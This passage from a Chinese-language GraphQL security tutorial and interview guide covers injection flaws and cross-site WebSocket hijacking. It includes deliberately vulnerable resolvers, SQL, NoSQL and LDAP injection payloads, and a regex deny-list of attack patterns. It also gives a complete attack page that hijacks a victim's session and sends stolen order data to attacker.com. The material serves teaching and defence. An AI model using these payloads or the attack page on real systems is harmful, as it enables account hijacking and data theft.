     * ❌ 漏洞 5:LDAP 注入
     *
     * 攻击 Payload:
     *   { ldapSearch(username: "*)(objectClass=*") { dn } }
     *   → 过滤器变成 (uid=*)(objectClass=*)  → 返回所有条目
     */
    public List<String> ldapSearch(String username) {
        String filter = "(uid=" + username + ")";
        return ldapTemplate.search("", filter, (AttributesMapper<String>) attrs ->
                attrs.get("dn").toString());
    }
}

3.7.3 ✅ 修复方案

✅ 修复 1:SQL —— 预编译 + 白名单排序

@Component
@Slf4j
public class SecureSqlResolver implements GraphQLQueryResolver {

    @Autowired
    private JdbcTemplate jdbc;

    /** ✅ ORDER BY 白名单(★ 无法预编译的位置只能白名单)*/
    private static final Set<String> ALLOWED_SORT_FIELDS =
            Set.of("id", "name", "createdAt", "email");
    private static final Set<String> ALLOWED_SORT_DIRS = Set.of("ASC", "DESC");

    /** ✅ LIKE 转义 */
    public List<User> searchUsers(String keyword) {
        String sql = "SELECT * FROM users WHERE name LIKE ? ESCAPE '\\'";
        String escaped = escapeLike(keyword);
        return jdbc.query(sql, userRowMapper, "%" + escaped + "%");
    }

    /**
     * ✅ 白名单排序(★ 唯一可靠的方案,正则过滤不可靠)
     */
    public List<User> listUsers(String orderBy, String direction) {
        // ★ 严格白名单校验,不匹配就用默认值
        String field = ALLOWED_SORT_FIELDS.contains(orderBy) ? orderBy : "id";
        String dir = ALLOWED_SORT_DIRS.contains(
                direction == null ? "" : direction.toUpperCase())
                ? direction.toUpperCase() : "ASC";

        // ★ 白名单之后仍是拼接,但值只能来自上面那个常量集合,绝对安全
        String sql = "SELECT * FROM users ORDER BY " + field + " " + dir;
        return jdbc.query(sql, userRowMapper);
    }

    /** 转义 LIKE 通配符 % _ \ */
    private String escapeLike(String s) {
        if (s == null) return "";
        return s.replace("\\", "\\\\")
                .replace("%", "\\%")
                .replace("_", "\\_");
    }
}

✅ 修复 2:NoSQL —— 强制类型 + 禁止操作符

@Component
@Slf4j
public class SecureMongoResolver implements GraphQLQueryResolver {

    @Autowired
    private MongoTemplate mongoTemplate;

    /**
     * ✅ 修复:① 强制转 String  ② 拒绝含 $ 的输入
     */
    public User findByUsernameAndPassword(String username, String password) {
        // ★ 关键:GraphQL 的强类型在这里帮了忙(Schema 声明为 String)
        //   但如果有人用变量传了对象,某些实现会原样透传 → 必须再校验一次
        validateNoMongoOperator(username, "username");
        validateNoMongoOperator(password, "password");

        Query query = new Query();
        query.addCriteria(Criteria.where("username").is(username)
                .and("passwordHash").is(hash(password)));
        return mongoTemplate.findOne(query, User.class);
    }

    /**
     * ★ 拒绝 MongoDB 操作符($ne / $gt / $where / $regex ...)
     */
    private void validateNoMongoOperator(Object value, String fieldName) {
        if (value == null) return;

        // ① 类型检查:必须是 String / Number / Boolean,不能是 Map / List
        if (!(value instanceof String || value instanceof Number
                || value instanceof Boolean)) {
            log.warn("[安全] MongoDB 注入尝试:字段 {} 收到了非标量类型 {}",
                     fieldName, value.getClass());
            throw new IllegalArgumentException("非法参数类型");
        }

        // ② 内容检查:字符串不能以 $ 开头,不能包含 {
        String s = String.valueOf(value);
        if (s.startsWith("$") || s.contains("{") || s.contains("}")) {
            log.warn("[安全] MongoDB 注入尝试:字段 {} 包含操作符 {}", fieldName, s);
            throw new IllegalArgumentException("非法参数内容");
        }
    }

    /**
     * ★ 全局防御:MongoDB 禁用 $where(它支持执行 JS,最危险)
     */
    @PostConstruct
    public void disableServerSideJs() {
        // mongod 启动参数:--noscripting
        // 或者在 MongoDB 配置里:security.javascriptEnabled: false
        log.info("[安全] 请确保 mongod 以 --noscripting 启动,禁用 $where");
    }
}

✅ 修复 3:命令 —— 用数组参数,绝不拼字符串

@Component
@Slf4j
public class SecureCommandResolver implements GraphQLQueryResolver {

    /** ✅ 主机名格式白名单(★ 先校验格式)*/
    private static final Pattern HOSTNAME_PATTERN =
            Pattern.compile("^[a-zA-Z0-9]([a-zA-Z0-9\\-.]*[a-zA-Z0-9])?$");

    /**
     * ✅ 修复:① 格式白名单  ② 用 String[] 传参(不经过 shell)
     */
    public PingResult ping(String host) {
        // ① 格式校验
        if (!HOSTNAME_PATTERN.matcher(host).matches()) {
            throw new IllegalArgumentException("非法的主机格式");
        }

        // ② ★ 用数组传参:ProcessBuilder 会直接 execve,不经过 /bin/sh
        //    这样 ; && | $() 这些 shell 元字符全部失效(它们只是普通字符)
        ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", "-W", "2", host);
        pb.redirectErrorStream(true);

        try {
            Process p = pb.start();
            boolean finished = p.waitFor(5, TimeUnit.SECONDS);
            if (!finished) {
                p.destroyForcibly();
                return PingResult.timeout();
            }
            return PingResult.of(readOutput(p.getInputStream()), p.exitValue());
        } catch (IOException | InterruptedException e) {
            Thread.currentThread().interrupt();
            return PingResult.error("执行失败");
        }
    }

    /**
     * ✅✅✅ 更好的方案:根本不要执行系统命令
     *   用 Java 的 InetAddress.isReachable() 代替 ping
     */
    public PingResult pingSafe(String host) {
        if (!HOSTNAME_PATTERN.matcher(host).matches()) {
            throw new IllegalArgumentException("非法的主机格式");
        }
        try {
            InetAddress addr = InetAddress.getByName(host);
            boolean reachable = addr.isReachable(2000);
            return PingResult.of(reachable);
        } catch (IOException e) {
            return PingResult.of(false);
        }
    }
}

✅ 修复 4:LDAP —— 转义特殊字符

@Component
public class SecureLdapResolver implements GraphQLQueryResolver {

    @Autowired
    private LdapTemplate ldapTemplate;

    public List<String> ldapSearch(String username) {
        // ✅ 用 Spring 的 LdapEncoder 转义(★ 不要自己写正则)
        String escaped = LdapEncoder.filterEncode(username);
        String filter = "(uid=" + escaped + ")";

        return ldapTemplate.search("", filter,
                (AttributesMapper<String>) attrs -> attrs.get("dn").toString());
    }
}

/**
 * ★ 如果没用 Spring,自己实现 RFC 4515 转义
 *   必须转义:\ * ( ) NUL
 */
class ManualLdapEncoder {
    public static String filterEncode(String s) {
        if (s == null) return "";
        StringBuilder sb = new StringBuilder();
        for (char c : s.toCharArray()) {
            switch (c) {
                case '\\' -> sb.append("\\5c");
                case '*'  -> sb.append("\\2a");
                case '('  -> sb.append("\\28");
                case ')'  -> sb.append("\\29");
                case '\0' -> sb.append("\\00");
                default   -> sb.append(c);
            }
        }
        return sb.toString();
    }
}

✅ 修复 5:统一输入校验(用 Bean Validation)

/**
 * ✅ 在 Resolver 入口统一校验(★ 纵深防御的最后一层)
 */
@Aspect
@Component
@Slf4j
public class GraphQLInputValidationAspect {

    @Autowired
    private Validator validator;

    @Around("execution(* com.example..*Resolver.*(..))")
    public Object validateInput(ProceedingJoinPoint pjp) throws Throwable {
        Object[] args = pjp.getArgs();

        for (Object arg : args) {
            if (arg == null) continue;

            // ① Bean Validation(@NotBlank @Pattern @Size ...)
            Set<ConstraintViolation<Object>> violations = validator.validate(arg);
            if (!violations.isEmpty()) {
                String msg = violations.stream()
                        .map(v -> v.getPropertyPath() + " " + v.getMessage())
                        .collect(Collectors.joining("; "));
                throw new IllegalArgumentException("参数校验失败:" + msg);
            }

            // ② ★ 危险字符检查(兜底,防住没加注解的字段)
            if (arg instanceof String s) {
                checkDangerousPatterns(s, pjp.getSignature().toShortString());
            }
        }

        return pjp.proceed();
    }

    /**
     * 危险模式黑名单
     * ⚠️ 这只是【兜底】,不能替代预编译!
     *    黑名单一定会被绕过,真正的防护是参数化查询
     */
    private static final List<Pattern> DANGEROUS = List.of(
            Pattern.compile("(?i)\\b(union\\s+select|select\\s+.+\\s+from|insert\\s+into|drop\\s+table|delete\\s+from)\\b"),
            Pattern.compile("(?i)[;|&`$(){}]"),
            Pattern.compile("\\$\\{|#\\{|<script|javascript:", Pattern.CASE_INSENSITIVE),
            Pattern.compile("(?i)\\$(ne|gt|lt|gte|lte|in|nin|regex|where|expr)"),
            Pattern.compile("\\.\\./|\\.\\.\\\\")     // 路径穿越
    );

    private void checkDangerousPatterns(String value, String method) {
        for (Pattern p : DANGEROUS) {
            if (p.matcher(value).find()) {
                log.warn("[安全] 输入包含危险字符,已拦截 method={} pattern={} value={}",
                         method, p.pattern(), truncate(value, 100));
                throw new IllegalArgumentException("输入包含非法字符");
            }
        }
    }

    private String truncate(String s, int max) {
        return s.length() <= max ? s : s.substring(0, max) + "...";
    }
}

3.7.4 GraphQL 注入 —— 面试问答

Q:GraphQL 有强类型和参数校验,还会被注入吗?

A: “会的,而且很容易被误解。GraphQL 的强类型只保证参数的’形状’符合 Schema 声明 —— 声明是 String 就不会传进来数组或对象。但它完全不管内容。 一个 String 参数的内容完全可以是 1' OR '1'='1。

真正的危险在于开发者的心理: 用了 GraphQL 之后,很容易产生’框架已经帮我校验过了’的错觉, 于是 Resolver 里直接拼 SQL、拼命令、拼 MongoDB 查询,下游防护反而放松了。

我见过最典型的几个: 第一是字符串拼接 SQL,searchUsers(keyword:"x' OR '1'='1") 直接把全表查出来; 第二是 ORDER BY 位置 —— 这个位置没法预编译, 只能用白名单,很多人图省事直接拼,就成了盲注的点; 第三是 NoSQL,用 GraphQL 变量传 {"$ne": null} 进去, 某些实现会原样透传给 MongoDB,直接绕过登录; 第四是命令注入,拼 ping -c 1 " + host。

防护就是老三样,跟 REST 一模一样: 能预编译就预编译,不能预编译(ORDER BY、表名)就白名单, 系统命令用 String[] 数组传参绕开 shell, 再在 Resolver 入口加一层统一的参数校验做兜底。 最核心的一句话:GraphQL 只是入口,安全在下游。“


3.8 Subscription 安全与跨站 WebSocket 劫持(CSWSH)

3.8.1 先讲 WebSocket 的安全常识(为什么它和 HTTP 不一样)

★ 三个关键差异(面试必答):

特性 HTTP WebSocket
同源策略(SOP) ✅ 强制执行 ❌ 不执行
CORS ✅ 浏览器会先发 OPTIONS 预检 ❌ 没有预检,握手请求直接发
自定义头(Authorization) ✅ 可以带 ❌ 浏览器 API 不支持设置头
Cookie 按同源策略自动带 握手时自动带上目标域的 Cookie

★ CSWSH(Cross-Site WebSocket Hijacking,跨站 WebSocket 劫持)一句话定义:

攻击者诱导受害者访问恶意页面 evil.com, 该页面用 JS 发起 new WebSocket("wss://target.com/graphql"), 浏览器会自动带上 victim 在 target.com 的 Cookie 完成握手, 于是恶意页面就能以受害者身份读写 WebSocket 通道。

生活类比(★ 记住这个):

你去银行办业务,银行给你发了个专属对讲机(WebSocket 连接), 你说什么银行答什么,而且银行认对讲机不认人(因为连接建立后就不再验证身份了)。

现在骗子给你发了个链接,你点开后,页面里藏了个“中继器“, 它偷偷用你的名义也申请了一个对讲机(浏览器自动带上了你的银行 Cookie), 然后骗子拿着这个中继器,用你的身份跟银行对话 —— 查你的余额、转你的账。

银行从头到尾没发现“对面换人了”,因为对讲机是“合法申请”的。

3.8.2 漏洞代码(GraphQL Subscription 没验证 Origin)

/**
 * ❌❌❌ 漏洞:WebSocket 握手时【没有验证 Origin】
 */
@Configuration
@EnableWebSocketMessageBroker
public class VulnerableWebSocketConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint("/graphql")
                // ❌ 没有 setAllowedOrigins() → 默认允许所有来源!
                //    等价于 setAllowedOriginPatterns("*")
                .withSockJS();
    }

    @Override
    public void configureMessageBroker(MessageBrokerRegistry registry) {
        registry.enableSimpleBroker("/topic", "/queue");
        registry.setApplicationDestinationPrefixes("/app");
    }

    /**
     * ❌ 握手拦截器:只记录了日志,没有验证任何东西
     */
    @Override
    public void configureClientInboundChannel(ChannelRegistration registration) {
        registration.interceptors(new ChannelInterceptor() {
            @Override
            public Message<?> preSend(Message<?> message, MessageChannel channel) {
                log.debug("收到消息:{}", message);
                return message;   // ❌ 直接放行,没有鉴权
            }
        });
    }
}
/**
 * ❌ Subscription Resolver:没有鉴权,任何人订阅都能收到
 */
@Component
public class VulnerableSubscriptionResolver implements GraphQLSubscriptionResolver {

    /**
     * ❌ 严重漏洞:任何建立了 WebSocket 连接的人
     *    都能订阅【任意用户】的订单更新
     *
     *    攻击者:subscription { orderUpdates(userId: "1") { id amount address } }
     *    → 实时收到用户 1 的所有订单,包括收货地址!
     */
    public Publisher<Order> orderUpdates(String userId) {
        return orderEventPublisher.getStream(userId);
    }

    /**
     * ❌ 更狠:订阅所有通知(内部通知、管理员告警都会推过来)
     */
    public Publisher<Notification> allNotifications() {
        return notificationPublisher.getGlobalStream();
    }
}

攻击页面(evil.com):

<!-- ★ 这就是 CSWSH 的完整攻击代码,只有 20 行 -->
<!DOCTYPE html>
<html>
<body>
<h1>恭喜中奖!点击领取</h1>
<script>
// ① 建立到 target.com 的 WebSocket,浏览器自动带 Cookie
const ws = new WebSocket("wss://target.com/graphql");

ws.onopen = () => {
    // ② 完成 GraphQL over WebSocket 的握手(graphql-ws 协议)
    ws.send(JSON.stringify({ type: "connection_init", payload: {} }));
};

ws.onmessage = (evt) => {
    const msg = JSON.parse(evt.data);

    if (msg.type === "connection_ack") {
        // ③ 订阅受害者的订单更新(★ 用受害者的身份!)
        ws.send(JSON.stringify({
            id: "1",
            type: "start",
            payload: {
                query: `subscription { orderUpdates(userId: "1") { id amount address phone } }`
            }
        }));
    }

    if (msg.type === "data") {
        // ④ 把偷到的数据发到攻击者服务器
        fetch("https://attacker.com/collect", {
            method: "POST",
            mode: "no-cors",
            body: JSON.stringify(msg.payload)
        });
        console.log("[偷到的数据]", msg.payload);
    }
};
</script>
</body>
</html>

3.8.3 ✅ 六种防御方案

✅ 防御 1:验证 Origin 头(★ 最重要,必做)

/**
 * ✅✅✅ 防御 1:WebSocket 握手时严格验证 Origin
 *
 * ★ 这是 CSWSH 的唯一根治方案
 *   浏览器发起的 WebSocket 请求【一定会带 Origin 头】,且【无法被 JS 篡改】
 *   (这是浏览器强制的,跟 Referer 不一样,Referer 可以被 JS 影响,Origin 不行)
 */
@Configuration
public class SecureWebSocketConfig implements WebSocketMessageBrokerConfigurer {

    @Value("${app.allowed-origins:https://app.example.com}")
    private String[] allowedOrigins;

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint("/graphql")
                // ✅ 白名单:只放行自家域名
                .setAllowedOrigins(allowedOrigins)     // ★ 注意:不支持通配子域
                // 如果需要通配子域(*.example.com),用这个:
                // .setAllowedOriginPatterns("https://*.example.com")
                .withSockJS();
    }
}

/**
 * ★ 更灵活的实现:自定义 HandshakeInterceptor(支持动态配置 + 详细日志)
 */
@Component
@Slf4j
public class OriginCheckHandshakeInterceptor implements HandshakeInterceptor {

    private final Set<String> allowedOrigins;

    public OriginCheckHandshakeInterceptor(
            @Value("${app.allowed-origins}") String origins) {
        this.allowedOrigins = Set.of(origins.split(","));
        log.info("[安全] WebSocket 允许的 Origin:{}", allowedOrigins);
    }

    @Override
    public boolean beforeHandshake(ServerHttpRequest request,
                                   ServerHttpResponse response,
                                   WebSocketHandler wsHandler,
                                   Map<String, Object> attributes) {

        // ① 取 Origin 头
        String origin = request.getHeaders().getOrigin();

        // ② ★ 没有 Origin 的情况:
        //    浏览器发起的 WebSocket 【一定】带 Origin
        //    非浏览器客户端(比如 curl、移动 App)可能不带
        //    → 策略:如果是浏览器场景就拒绝;如果是 API 场景,要求带 token 并走另一套校验
        if (origin == null) {
            log.warn("[安全] WebSocket 握手缺少 Origin 头,拒绝(UA={})",
                     request.getHeaders().getFirst("User-Agent"));
            response.setStatusCode(HttpStatus.FORBIDDEN);
            return false;
        }

        // ③ 白名单校验(★ 严格比对,不要用 contains,会被 https://evil.com?x=app.example.com 绕过)
        if (!isAllowedOrigin(origin)) {
            log.warn("[安全] WebSocket 握手 Origin 不在白名单,拒绝 origin={}", origin);
            response.setStatusCode(HttpStatus.FORBIDDEN);
            return false;
        }

        log.debug("[安全] WebSocket 握手通过 origin={}", origin);
        return true;
    }

    /**
     * ★ 严格的 Origin 校验:解析出 host 再比对
     *   不要用 origin.contains(allowed) —— 会被 https://app.example.com.evil.com 绕过
     */
    private boolean isAllowedOrigin(String origin) {
        try {
            URI uri = new URI(origin);
            String host = uri.getHost();
            if (host == null) return false;

            for (String allowed : allowedOrigins) {
                URI allowedUri = new URI(allowed);
                // ★ 精确比对 scheme + host + port
                if (host.equalsIgnoreCase(allowedUri.getHost())
                        && Objects.equals(uri.getScheme(), allowedUri.getScheme())
                        && uri.getPort() == allowedUri.getPort()) {
                    return true;
                }
            }
            return false;
        } catch (URISyntaxException e) {
            log.warn("[安全] Origin 格式非法:{}", origin);
            return false;
        }
    }

    @Override
    public void afterHandshake(ServerHttpRequest request, ServerHttpResponse response,
                               WebSocketHandler wsHandler, Exception exception) {
        // no-op
    }
}

⚠️ 面试追问:Origin 可以被伪造吗?

“浏览器发起的 WebSocket 请求,Origin 头由浏览器强制添加,JS 无法修改 —— 这是浏览器的安全边界。 所以针对浏览器场景,验证 Origin 是根治方案。

但如果是非浏览器客户端(curl、Postman、自写脚本、原生 App), Origin 头是完全可以随便伪造的 —— 这时候 Origin 校验就失效了。

所以正确姿势是:

  • 浏览器场景:Origin 校验 + Cookie 认证 + SameSite=Lax/Strict(双保险)
  • 非浏览器场景(移动 App、服务端):不用 Cookie,用 Token(放在 connection_init 的 payload 里)

★ 一句话:Origin 校验挡的是“别人网站上的 JS 冒充你”, Token 认证挡的是“任何人冒充你”。两个都要有。

/**
 * ✅✅✅ 防御 2:WebSocket 握手时用 Token 认证
 *
 * ★ 为什么不能只用 Cookie:
 *   Cookie 会被浏览器自动带上 → CSWSH
 *   Token 必须由 JS 显式放在 connection_init 的 payload 里 → 攻击者网站拿不到
 *
 *   ★ 关键:攻击者网站上的 JS 【读不到】 target.com 的 localStorage / Cookie(同源策略)
 *     所以它构造不出合法的 Token → 认证失败
 */
@Component
@Slf4j
public class WebSocketAuthChannelInterceptor implements ChannelInterceptor {

    @Autowired
    private JwtService jwtService;

    /**
     * 在 connection_init 阶段认证(graphql-ws 协议)
     */
    @Override
    public Message<?> preSend(Message<?> message, MessageChannel channel) {
        StompHeaderAccessor accessor =
                MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class);

        if (accessor == null) return message;

        // ① 连接建立阶段
        if (StompCommand.CONNECT.equals(accessor.getCommand())
                || StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {

            // ★ 从 STOMP 头里取 Token(客户端在 connection_init 时放进来)
            String token = accessor.getFirstNativeHeader("Authorization");

            if (token == null || !token.startsWith("Bearer ")) {
                log.warn("[安全] WebSocket 连接缺少 Token,拒绝(simpSessionId={})",
                         accessor.getSessionId());
                throw new AuthenticationException("未认证的 WebSocket 连接");
            }

            // ② 校验 JWT
            JwtClaims claims;
            try {
                claims = jwtService.parse(token.substring(7));
            } catch (Exception e) {
                log.warn("[安全] WebSocket Token 无效,拒绝:{}", e.getMessage());
                throw new AuthenticationException("Token 无效");
            }

            // ③ ★ 把身份信息放进 session,后续消息都能取到
            accessor.getSessionAttributes().put("userId", claims.getUserId());
            accessor.getSessionAttributes().put("roles", claims.getRoles());
            accessor.getSessionAttributes().put("tenantId", claims.getTenantId());

            log.info("[安全] WebSocket 认证成功 userId={} sessionId={}",
                     claims.getUserId(), accessor.getSessionId());
        }

        // ④ 订阅阶段:校验订阅权限
        if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
            String destination = accessor.getDestination();
            String userId = (String) accessor.getSessionAttributes().get("userId");

            if (!canSubscribe(userId, destination)) {
                log.warn("[安全] 无权限订阅 userId={} destination={}", userId, destination);
                throw new AccessDeniedException("无权限订阅该主题");
            }
        }

        return message;
    }

    /**
     * ★ 订阅权限校验:只能订阅自己相关的主题
     */
    private boolean canSubscribe(String userId, String destination) {
        if (destination == null) return false;

        // 允许:/user/queue/xxx(Spring 会自动映射到当前用户的私有队列)
        if (destination.startsWith("/user/")) {
            return true;
        }

        // 允许:/topic/public/xxx(公开广播)
        if (destination.startsWith("/topic/public/")) {
            return true;
        }

        // ★ 关键:/topic/user/{userId}/xxx 这种,必须验证 userId 一致
        Pattern p = Pattern.compile("^/topic/user/([^/]+)/");
        Matcher m = p.matcher(destination);
        if (m.find()) {
            String targetUserId = m.group(1);
            if (!targetUserId.equals(userId)) {
                log.warn("[安全] 越权订阅尝试 userId={} 试图订阅 {}", userId, destination);
                return false;
            }
            return true;
        }

        // ★ 默认拒绝(Deny by Default)
        log.warn("[安全] 未知订阅目标,默认拒绝 destination={}", destination);
        return false;
    }
}

客户端怎么传 Token:

// 前端(Apollo Client / graphql-ws)
import { createClient } from 'graphql-ws';

const client = createClient({
  url: 'wss://api.example.com/graphql',
  connectionParams: async () => {
    const token = await getAccessToken();   // 从内存/安全存储里取
    return {
      // ★ 关键:Token 放在 connectionParams 里,不是 Cookie
      //   攻击者网站读不到你的 token(同源策略),所以构造不出这个参数
      Authorization: `Bearer ${token}`,
    };
  },
  // ★ 禁用 Cookie(防止 CSWSH)
  shouldRetry: () => true,
  retryAttempts: 3,
});

✅ 防御 3:Subscription Resolver 里做字段级授权(和第 3.6 节一致)

/**
 * ✅ 防御 3:Subscription 也要做归属校验(★ 最容易被忘)
 */
@Component
@Slf4j
public class SecureSubscriptionResolver implements GraphQLSubscriptionResolver {

    @Autowired
    private OrderService orderService;

    /**
     * ✅ 修复:校验当前用户是否有权订阅该用户的订单
     */
    public Publisher<Order> orderUpdates(String userId, DataFetchingEnvironment env) {
        // ① 从 context 里取当前登录用户(握手时放进去的)
        User currentUser = env.getGraphQlContext().get("currentUser");
        if (currentUser == null) {
            throw new GraphQLAuthException("未登录");
        }

        // ② ★ 归属校验(BOLA 防护,和 REST 一模一样)
        if (!currentUser.getId().equals(userId)
                && !currentUser.hasRole("ADMIN")) {
            log.warn("[安全] 越权订阅尝试 currentUser={} targetUser={}",
                     currentUser.getId(), userId);
            throw new AccessDeniedException("无权订阅他人的订单更新");
        }

        // ③ 校验通过,返回流
        return orderService.getOrderUpdateStream(userId);
    }

    /**
     * ✅ 全局通知:必须校验角色
     */
    public Publisher<Notification> allNotifications(DataFetchingEnvironment env) {
        User currentUser = env.getGraphQlContext().get("currentUser");
        if (currentUser == null || !currentUser.hasRole("ADMIN")) {
            throw new AccessDeniedException("需要管理员权限");
        }
        return notificationService.getGlobalStream();
    }
}

✅ 防御 4:Cookie 加 SameSite(纵深防御)

/**
 * ✅ 防御 4:Cookie 设 SameSite=Strict(★ 挡住跨站请求带 Cookie)
 */
@Bean
public CookieSerializer cookieSerializer() {
    DefaultCookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setSameSite("Strict");        // ★ 或 Lax
    serializer.setCookieName("SESSION");
    serializer.setUseSecureCookie(true);     // ★ 只在 HTTPS 下传输
    serializer.setUseHttpOnlyCookie(true);   // ★ JS 读不到
    return serializer;
}

SameSite 三个值的区别(面试常考):

值 跨站请求带 Cookie 吗 场景
Strict ❌ 完全不带(包括点链接跳转) 最安全,但“从邮件点链接进网站要重新登录”
Lax(默认) ⚠️ 只有顶层导航的 GET 会带 平衡安全与体验,推荐
None ✅ 都带(但必须配 Secure) 需要跨站嵌入的场景(比如 iframe 里的支付页)

★ 注意:SameSite 保护的是 Cookie,而 WebSocket 握手默认会带 Cookie, 所以设了 SameSite=Strict 之后,从 evil.com 发起的 WebSocket 握手不会带 Cookie → CSWSH 失效。

✅ 防御 5:限制订阅数量与频率(防 DoS)

/**
 * ✅ 防御 5:限制每个连接的订阅数量(★ 防止一个连接订阅 1 万个主题)
 */
@Component
@Slf4j
public class SubscriptionLimitInterceptor implements ChannelInterceptor {

    private static final int MAX_SUBSCRIPTIONS_PER_SESSION = 20;
    private final ConcurrentMap<String, AtomicInteger> subscriptionCounts =
            new ConcurrentHashMap<>();

    @Override
    public Message<?> preSend(Message<?> message, MessageChannel channel) {
        StompHeaderAccessor accessor =
                MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class);
        if (accessor == null) return message;

        String sessionId = accessor.getSessionId();

        if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
            AtomicInteger count = subscriptionCounts
                    .computeIfAbsent(sessionId, k -> new AtomicInteger(0));

            if (count.incrementAndGet() > MAX_SUBSCRIPTIONS_PER_SESSION) {
                count.decrementAndGet();
                log.warn("[安全] 订阅数超限 sessionId={} count={}", sessionId, count.get());
                throw new TooManySubscriptionsException(
                        "单个连接最多订阅 " + MAX_SUBSCRIPTIONS_PER_SESSION + " 个主题");
            }
            log.debug("[安全] 新增订阅 sessionId={} count={} dest={}",
                      sessionId, count.get(), accessor.getDestination());
        }

        if (StompCommand.UNSUBSCRIBE.equals(accessor.getCommand())
                || StompCommand.DISCONNECT.equals(accessor.getCommand())) {
            AtomicInteger c = subscriptionCounts.get(sessionId);
            if (c != null) c.decrementAndGet();
        }

        return message;
    }

    /** 连接断开时清理计数 */
    @EventListener
    public void onSessionDisconnect(SessionDisconnectEvent event) {
        subscriptionCounts.remove(event.getSessionId());
        log.debug("[安全] 清理订阅计数 sessionId={}", event.getSessionId());
    }

    public static class TooManySubscriptionsException extends RuntimeException {
        public TooManySubscriptionsException(String m) { super(m); }
    }
}

✅ 防御 6:用一次性 Ticket 代替长期 Token(最高安全级别)

/**
 * ✅ 防御 6:WebSocket 一次性票据(★ 金融/政务场景推荐)
 *
 * 流程:
 *   1. 前端先走 HTTPS 调 /api/ws-ticket 拿一个【一次性、60秒过期】的 ticket
 *   2. 用这个 ticket 建 WebSocket 连接
 *   3. 服务端校验 ticket → 立即作废(一次性)
 *   4. 连接建立后,把正式身份绑定到 session,后续消息用 session 里的身份
 *
 * 好处:
 *   ① ticket 只能用一次 → 即便被截获也用不了(重放防护)
 *   ② 60 秒过期 → 泄露窗口极小
 *   ③ 不依赖 Cookie → 天然免疫 CSWSH
 */
@RestController
@RequestMapping("/api")
public class WebSocketTicketController {

    @Autowired
    private RedisTemplate<String, String> redis;

    @GetMapping("/ws-ticket")
    public Map<String, String> getTicket(Authentication auth) {
        String userId = auth.getName();
        String ticket = UUID.randomUUID().toString().replace("-", "");

        // ★ 存 Redis,60 秒过期,一次性消费
        redis.opsForValue().set("ws:ticket:" + ticket, userId,
                                60, TimeUnit.SECONDS);

        log.info("[安全] 签发 WebSocket ticket userId={}", userId);
        return Map.of("ticket", ticket, "expiresIn", "60");
    }
}

@Component
@Slf4j
public class TicketAuthHandshakeHandler extends DefaultHandshakeHandler {

    @Autowired
    private RedisTemplate<String, String> redis;

    @Override
    protected Principal determineUser(ServerHttpRequest request,
                                      WebSocketHandler wsHandler,
                                      Map<String, Object> attributes) {

        // ① 从 query 参数里取 ticket
        String query = request.getURI().getQuery();
        String ticket = extractParam(query, "ticket");

        if (ticket == null) {
            log.warn("[安全] WebSocket 握手缺少 ticket");
            return null;      // ★ 返回 null = 拒绝握手
        }

        // ② ★ 一次性消费:GET + DEL 必须是原子的(用 Lua 或 Redis 的 GETDEL)
        String userId = redis.opsForValue().getAndDelete("ws:ticket:" + ticket);

        if (userId == null) {
            log.warn("[安全] WebSocket ticket 无效或已使用(疑似重放攻击)ticket={}",
                     ticket.substring(0, Math.min(8, ticket.length())));
            return null;
        }

        log.info("[安全] WebSocket ticket 校验通过 userId={}", userId);

        // ③ 返回 Principal,后续可从 session 里取到
        return () -> userId;
    }

    private String extractParam(String query, String key) {
        if (query == null) return null;
        for (String pair : query.split("&")) {
            String[] kv = pair.split("=", 2);
            if (kv.length == 2 && kv[0].equals(key)) {
                return URLDecoder.decode(kv[1], StandardCharsets.UTF_8);
            }
        }
        return null;
    }
}

3.8.4 WebSocket / Subscription 安全 Checklist

# 检查项 优先级
1 严格校验 Origin 头(精确比对 scheme+host+port,不用 contains) ★★★
2 用 Token 认证(放 connection_init payload),不依赖 Cookie ★★★
3 Subscription Resolver 里做归属/角色校验(防 BOLA) ★★★
4 Cookie 设 SameSite=Lax/Strict + Secure + HttpOnly ★★★
5 订阅目标做默认拒绝(不在白名单就拒绝) ★★★
6 限制单连接的订阅数量(≤20) ★★
7 高安全场景用一次性 ticket(60 秒 + 一次性消费) ★★
8 连接空闲超时 + 心跳(防僵尸连接占资源) ★★
9 消息大小限制(防大消息打爆内存) ★★
10 订阅/退订记审计日志 ★

3.8.5 CSWSH —— 面试问答

Q:WebSocket 会被 CSRF 攻击吗?怎么防?

A: “会,而且比普通 CSRF 更容易中招,叫 CSWSH(跨站 WebSocket 劫持)。

原因是 WebSocket 有三个和 HTTP 不一样的特性: 第一,WebSocket 不受同源策略限制(这是协议设计决定的); 第二,握手时没有 CORS 预检,浏览器直接就发了; 第三,浏览器 API 不支持给 WebSocket 设置自定义头,所以 Authorization 头带不了, 很多团队只能退回到用 Cookie 认证 —— 而 Cookie 是浏览器自动带上的。

于是攻击就成立了:受害者在 evil.com 点开页面, 页面里的 JS 执行 new WebSocket("wss://target.com/graphql"), 浏览器自动带上受害者在 target.com 的 Cookie,握手成功, 恶意页面就以受害者身份读写 WebSocket 通道了 —— 订阅他的订单更新、发消息、甚至触发操作。

防护的核心是验证 Origin: 浏览器发起的 WebSocket 请求一定带 Origin 头,而且 JS 改不了(浏览器强制的), 所以服务端白名单校验 Origin,能根治浏览器场景的 CSWSH。 注意校验要解析出 host 精确比对,不能用 contains, 否则 https://app.example.com.evil.com 能绕过。

但 Origin 只对浏览器有效 —— curl 和自写脚本可以随便伪造 Origin, 所以移动端和服务端场景必须另外用 Token 认证, 把 Token 放在 connection_init 的 payload 里, 因为攻击者网站读不到 target.com 的 localStorage(同源策略),构造不出合法 Token。

★ 加分点:还有两点容易漏 —— 一是 Subscription 本身也要做归属校验,不能只在握手时认证, 否则登录用户可以订阅 orderUpdates(userId:"别人的ID") 拿到别人的实时数据; 二是 WebSocket 连接建立后就不再重新认证了, 所以用户退出登录、权限变更时,必须主动断开他的 WebSocket 连接,不然权限收不回来。“


3.9 gRPC 安全 —— 二进制协议带来的“看不见”问题

3.9.1 先讲清楚:gRPC 是什么,为什么它的安全问题很特别

一句话定义:

